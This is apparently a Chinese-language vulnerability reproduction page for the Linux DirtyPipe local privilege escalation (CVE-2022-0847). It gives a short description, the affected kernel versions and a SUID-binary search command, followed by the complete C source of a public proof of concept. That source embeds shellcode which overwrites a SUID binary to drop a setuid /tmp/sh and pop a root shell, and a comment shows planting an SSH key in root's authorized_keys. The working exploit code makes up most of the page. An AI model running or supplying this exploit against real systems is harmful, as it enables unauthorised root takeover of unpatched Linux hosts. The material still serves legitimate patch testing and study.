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248 lines
7.9 KiB
Markdown
248 lines
7.9 KiB
Markdown
# Linux DirtyPipe权限提升漏洞 CVE-2022-0847
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## 漏洞描述
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CVE-2022-0847-DirtyPipe-Exploit CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞，可覆盖重写任意可读文件中的数据，从而可将普通权限的用户提升到特权 root。 CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞（Dirty Cow），但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”
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## 漏洞影响
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```
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Linux内核 5.8 及之后版本
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```
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## 漏洞复现
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查找具有suid权限的可执行文件
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```
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find / -user root -perm /4000 2>/dev/null
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```
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编译POC文件后，指定修改的`Suid可执行文件`，获取root权限
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## 漏洞POC
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```c
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//
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// dirtypipez.c
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//
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// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
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// a root shell. (and attempts to restore the damaged binary as well)
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//
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// Wow, Dirty CoW reloaded!
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//
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// -- blasty <peter@haxx.in> // 2022-03-07
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/* SPDX-License-Identifier: GPL-2.0 */
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/*
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* Copyright 2022 CM4all GmbH / IONOS SE
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*
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* author: Max Kellermann <max.kellermann@ionos.com>
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*
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* Proof-of-concept exploit for the Dirty Pipe
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* vulnerability (CVE-2022-0847) caused by an uninitialized
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* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
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* file contents in the page cache, even if the file is not permitted
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* to be written, immutable or on a read-only mount.
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*
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* This exploit requires Linux 5.8 or later; the code path was made
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* reachable by commit f6dd975583bd ("pipe: merge
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* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
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* there before, it just provided an easy way to exploit it.
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*
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* There are two major limitations of this exploit: the offset cannot
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* be on a page boundary (it needs to write one byte before the offset
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* to add a reference to this page to the pipe), and the write cannot
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* cross a page boundary.
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*
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* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
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*
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* Further explanation: https://dirtypipe.cm4all.com/
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*/
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#define _GNU_SOURCE
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#include <unistd.h>
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#include <fcntl.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <sys/stat.h>
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#include <sys/user.h>
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#include <stdint.h>
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#ifndef PAGE_SIZE
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#define PAGE_SIZE 4096
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#endif
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// small (linux x86_64) ELF file matroshka doll that does;
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// fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
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// write(fd, elfcode, elfcode_len)
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// chmod("/tmp/sh", 04755)
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// close(fd);
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// exit(0);
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//
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// the dropped ELF simply does:
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// setuid(0);
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// setgid(0);
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// execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
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unsigned char elfcode[] = {
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/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
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0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
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0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
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0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
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0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
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0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
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0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
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0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
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0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
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0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
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0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
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0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
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0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
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0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
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0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
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0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
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0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
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0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
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0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
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};
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/**
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* Create a pipe where all "bufs" on the pipe_inode_info ring have the
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* PIPE_BUF_FLAG_CAN_MERGE flag set.
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*/
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static void prepare_pipe(int p[2])
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{
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if (pipe(p)) abort();
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const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
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static char buffer[4096];
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/* fill the pipe completely; each pipe_buffer will now have
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the PIPE_BUF_FLAG_CAN_MERGE flag */
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for (unsigned r = pipe_size; r > 0;) {
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unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
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write(p[1], buffer, n);
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r -= n;
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}
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/* drain the pipe, freeing all pipe_buffer instances (but
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leaving the flags initialized) */
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for (unsigned r = pipe_size; r > 0;) {
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unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
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read(p[0], buffer, n);
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r -= n;
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}
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/* the pipe is now empty, and if somebody adds a new
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pipe_buffer without initializing its "flags", the buffer
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will be mergeable */
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}
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int hax(char *filename, long offset, uint8_t *data, size_t len) {
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/* open the input file and validate the specified offset */
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const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
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if (fd < 0) {
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perror("open failed");
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return -1;
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}
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struct stat st;
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if (fstat(fd, &st)) {
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perror("stat failed");
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return -1;
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}
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/* create the pipe with all flags initialized with
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PIPE_BUF_FLAG_CAN_MERGE */
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int p[2];
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prepare_pipe(p);
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/* splice one byte from before the specified offset into the
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pipe; this will add a reference to the page cache, but
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since copy_page_to_iter_pipe() does not initialize the
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"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
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--offset;
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ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
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if (nbytes < 0) {
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perror("splice failed");
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return -1;
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}
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if (nbytes == 0) {
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fprintf(stderr, "short splice\n");
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return -1;
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}
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/* the following write will not create a new pipe_buffer, but
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will instead write into the page cache, because of the
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PIPE_BUF_FLAG_CAN_MERGE flag */
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nbytes = write(p[1], data, len);
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if (nbytes < 0) {
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perror("write failed");
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return -1;
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}
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if ((size_t)nbytes < len) {
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fprintf(stderr, "short write\n");
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return -1;
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}
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close(fd);
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return 0;
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}
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int main(int argc, char **argv) {
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if (argc != 2) {
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fprintf(stderr, "Usage: %s SUID\n", argv[0]);
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return EXIT_FAILURE;
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}
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char *path = argv[1];
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uint8_t *data = elfcode;
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int fd = open(path, O_RDONLY);
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uint8_t *orig_bytes = malloc(sizeof(elfcode));
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lseek(fd, 1, SEEK_SET);
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read(fd, orig_bytes, sizeof(elfcode));
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close(fd);
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printf("[+] hijacking suid binary..\n");
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if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
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printf("[~] failed\n");
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return EXIT_FAILURE;
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}
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printf("[+] dropping suid shell..\n");
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system(path);
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printf("[+] restoring suid binary..\n");
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if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
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printf("[~] failed\n");
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return EXIT_FAILURE;
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}
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printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
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system("/tmp/sh");
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return EXIT_SUCCESS;
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}
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```
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